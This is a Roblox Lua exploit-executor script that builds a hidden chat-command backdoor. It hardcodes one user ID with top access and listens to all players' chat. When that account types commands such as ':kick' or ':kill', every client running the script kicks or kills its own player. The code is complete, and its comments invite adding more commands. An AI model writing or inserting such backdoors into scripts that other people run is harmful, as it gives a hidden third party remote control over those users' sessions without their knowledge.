1 | local AdminPrefix = ":" -- (if its blank it will error) |
2 | local Players = game:GetService("Players") |
3 | local LocalP = Players.LocalPlayer; |
4 | getgenv().AdminTable = { |
5 | [4406450103] = {["Access"] = 5}; -- axxess is what level |
6 | } |
7 | |
8 | getgenv().psearch = function(Name) |
9 | local Inserted = {} |
10 | for _, p in pairs(Players:GetPlayers()) do |
11 | if string.lower(string.sub(p.Name,1, string.len(Name))) == string.lower(Name) then |
12 | table.insert(Inserted, p);return p |
13 | end |
14 | end |
15 | end -- Simple player finder function |
16 | |
17 | getgenv().AdminCmdList = { |
18 | ["kick"] = { |
19 | ["CommandFunc"] = function(Player, self, CmdPlayer) |
20 | if Player == LocalP or Player == "all" then |
21 | LocalP:Kick(self) |
22 | end |
23 | end; |
24 | ["Clearence"] = {[5] = true;}; |
25 | }; -- u kan make new ones of these (the ; have to be in the same spots) |
26 | ["kill"] = { |
27 | ["CommandFunc"] = function(Player, self, CmdPlayer) |
28 | if Player == LocalP or Player == "all" then |
29 | LocalP.Character.Humanoid:ChangeState(15) |
30 | end |
31 | end; |
32 | ["Clearence"] = {[4] = true;[5] = true;}; |
33 | }; |
34 | }; |
35 | |
36 | getgenv().BDCheck = function(Target2, Chat) |
37 | if Chat:sub(1, 1) == AdminPrefix then |
38 | local args = string.split(Chat:sub(2), " ") |
39 | local Command = AdminCmdList[table.remove(args, 1)] |
40 | local targ1 = psearch(table.remove(args, 1)) |
41 | if Command and targ1 then -- kredits to !fishgang Cy for this BDCheck func |
42 | return Command and Command["Clearence"][AdminTable[Target2.UserId].Access] and Command["CommandFunc"](targ1, table.concat(args, " "), Target2) |
43 | end |
44 | end |
45 | end |
46 | |
47 | local GP = Players:GetPlayers() |
48 | for i = 1, #GP do |
49 | local CoolKidPlayer = GP[i] |
50 | CoolKidPlayer.Chatted:Connect(function(Word) |
51 | BDCheck(CoolKidPlayer, Word) |
52 | end) |
53 | end -- xhexks if you xhatted a kmd |
54 | Players.PlayerAdded:Connect(function(CKP) |
55 | CKP.Chatted:Connect(function(Message) |
56 | BDCheck(CKP, Message) |
57 | end) |
58 | end) |